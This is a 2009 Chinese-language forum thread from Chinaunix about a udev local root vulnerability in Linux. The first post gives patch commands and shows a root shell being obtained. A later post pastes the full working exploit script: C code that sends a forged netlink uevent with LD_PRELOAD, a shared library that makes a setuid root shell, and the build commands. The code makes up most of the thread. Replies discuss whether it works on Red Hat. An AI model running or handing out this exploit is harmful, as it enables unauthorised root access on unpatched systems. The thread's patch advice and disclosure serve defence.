免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1595 | 回复: 6
打印 上一主题 下一主题

<ZT>Linux爆本地提权漏洞 请立即更新udev程序 [复制链接]

论坛徽章:
5
CU大牛徽章
日期:2013-09-18 15:16:55CU大牛徽章
日期:2013-09-18 15:18:22CU大牛徽章
日期:2013-09-18 15:18:432015年辞旧岁徽章
日期:2015-03-03 16:54:152015年迎新春徽章
日期:2015-03-04 09:49:45
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2009-04-24 12:49 |只看该作者 |倒序浏览
Linux的udev程序再爆本地提权漏洞,本地用户可以轻易获得root权限,请立即更新udev程序。(2.4内核系统不受影响)
修复方法(修复前请备份重要数据):

debian用户请执行apt-get update ; apt-get upgrade -y

centos用户请执行yum update udev

RedHat用户请使用官方rpm包更新或者购买RedHat的satellite服务。

攻击效果展示:
libuuid@debian:~$ sh a 890
sh-3.1# id
uid=0(root) gid=0(root) groups=105(libuuid)
sh-3.1# cat /etc/debian_version
lenny/sid
sh-3.1# dpkg -l | grep udev
ii udev 0.114-2 /dev/ and hotplug management daemon

现在确认的是此攻击方式对Debian和Ubuntu相当有效,对RedHat的攻击效果有待确认。

最新战况请查阅 http://baoz.net/linux-udev-exploit/

论坛徽章:
5
CU大牛徽章
日期:2013-09-18 15:16:55CU大牛徽章
日期:2013-09-18 15:18:22CU大牛徽章
日期:2013-09-18 15:18:432015年辞旧岁徽章
日期:2015-03-03 16:54:152015年迎新春徽章
日期:2015-03-04 09:49:45
2 [报告]
发表于 2009-04-24 12:50 |只看该作者
哪位试一下?

论坛徽章:
0
3 [报告]
发表于 2009-04-26 15:01 |只看该作者
能解释一下吗?
这就是a的脚本代码

  1. #!/bin/sh
  2. # Linux 2.6
  3. # bug found by Sebastian Krahmer
  4. #
  5. # lame sploit using LD technique
  6. # by kcope in 2009
  7. # tested on debian-etch,ubuntu,gentoo
  8. # do a 'cat /proc/net/netlink'
  9. # and set the first arg to this
  10. # script to the pid of the netlink socket
  11. # (the pid is udevd_pid - 1 most of the time)
  12. # + sploit has to be UNIX formatted text :)
  13. # + if it doesn't work the 1st time try more often
  14. #
  15. # WARNING: maybe needs some FIXUP to work flawlessly
  16. ## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

  17. cat > udev.c << _EOF
  18. #include <fcntl.h>
  19. #include <stdio.h>
  20. #include <string.h>
  21. #include <stdlib.h>
  22. #include <unistd.h>
  23. #include <dirent.h>
  24. #include <sys/stat.h>
  25. #include <sysexits.h>
  26. #include <wait.h>
  27. #include <signal.h>
  28. #include <sys/socket.h>
  29. #include <linux/types.h>
  30. #include <linux/netlink.h>

  31. #ifndef NETLINK_KOBJECT_UEVENT
  32. #define NETLINK_KOBJECT_UEVENT 15
  33. #endif

  34. #define SHORT_STRING 64
  35. #define MEDIUM_STRING 128
  36. #define BIG_STRING 256
  37. #define LONG_STRING 1024
  38. #define EXTRALONG_STRING 4096
  39. #define TRUE 1
  40. #define FALSE 0

  41. int socket_fd;
  42. struct sockaddr_nl address;
  43. struct msghdr msg;
  44. struct iovec iovector;
  45. int sz = 64*1024;

  46. main(int argc, char **argv) {
  47.         char sysfspath[SHORT_STRING];
  48.         char subsystem[SHORT_STRING];
  49.         char event[SHORT_STRING];
  50.         char major[SHORT_STRING];
  51.         char minor[SHORT_STRING];

  52.         sprintf(event, "add");
  53.         sprintf(subsystem, "block");
  54.         sprintf(sysfspath, "/dev/foo");
  55.         sprintf(major, "8");
  56.         sprintf(minor, "1");

  57.         memset(&address, 0, sizeof(address));
  58.         address.nl_family = AF_NETLINK;
  59.         address.nl_pid = atoi(argv[1]);
  60.         address.nl_groups = 0;

  61.         msg.msg_name = (void*)&address;
  62.         msg.msg_namelen = sizeof(address);
  63.         msg.msg_iov = &iovector;
  64.         msg.msg_iovlen = 1;

  65.         socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  66.         bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

  67.         char message[LONG_STRING];
  68.         char *mp;

  69.         mp = message;
  70.         mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
  71.         mp += sprintf(mp, "ACTION=%s", event) +1;
  72.         mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
  73.         mp += sprintf(mp, "MAJOR=%s", major) +1;
  74.         mp += sprintf(mp, "MINOR=%s", minor) +1;
  75.         mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
  76.         mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

  77.         iovector.iov_base = (void*)message;
  78.         iovector.iov_len = (int)(mp-message);

  79.         char *buf;
  80.         int buflen;
  81.         buf = (char *) &msg;
  82.         buflen = (int)(mp-message);

  83.         sendmsg(socket_fd, &msg, 0);

  84.         close(socket_fd);

  85.         sleep(10);
  86.         execl("/tmp/suid", "suid", (void*)0);
  87. }

  88. _EOF
  89. gcc udev.c -o /tmp/udev
  90. cat > program.c << _EOF
  91. #include <unistd.h>
  92. #include <stdio.h>
  93. #include <sys/types.h>
  94. #include <stdlib.h>

  95. void _init()
  96. {
  97. setgid(0);
  98. setuid(0);
  99. unsetenv("LD_PRELOAD");
  100. execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
  101. }

  102. _EOF
  103. gcc -o program.o -c program.c -fPIC
  104. gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
  105. cat > suid.c << _EOF
  106. int main(void) {
  107.        setgid(0); setuid(0);
  108.        execl("/bin/sh","sh",0); }
  109. _EOF
  110. gcc -o /tmp/suid suid.c
  111. cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
  112. /tmp/udev $1

  113. # milw0rm.com [2009-04-20]
复制代码

论坛徽章:
0
4 [报告]
发表于 2009-04-26 15:26 |只看该作者

回复 #3 emmoblin 的帖子

不是说,这个脚本没有用吗?

论坛徽章:
0
5 [报告]
发表于 2009-04-26 21:14 |只看该作者
他们都说有用啊

论坛徽章:
0
6 [报告]
发表于 2009-04-30 10:57 |只看该作者
有用我在Red Hat Enterprise Linux Server release 5 (Tikanga)测过...的确有这漏洞

论坛徽章:
1
2015年辞旧岁徽章
日期:2015-03-03 16:54:15
7 [报告]
发表于 2009-05-05 09:20 |只看该作者
原帖由 sc66 于 2009-4-30 10:57 发表
有用我在Red Hat Enterprise Linux Server release 5 (Tikanga)测过...的确有这漏洞



我在 5。3 上反复测试过,就是没有得到 root 权限,郁闷
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP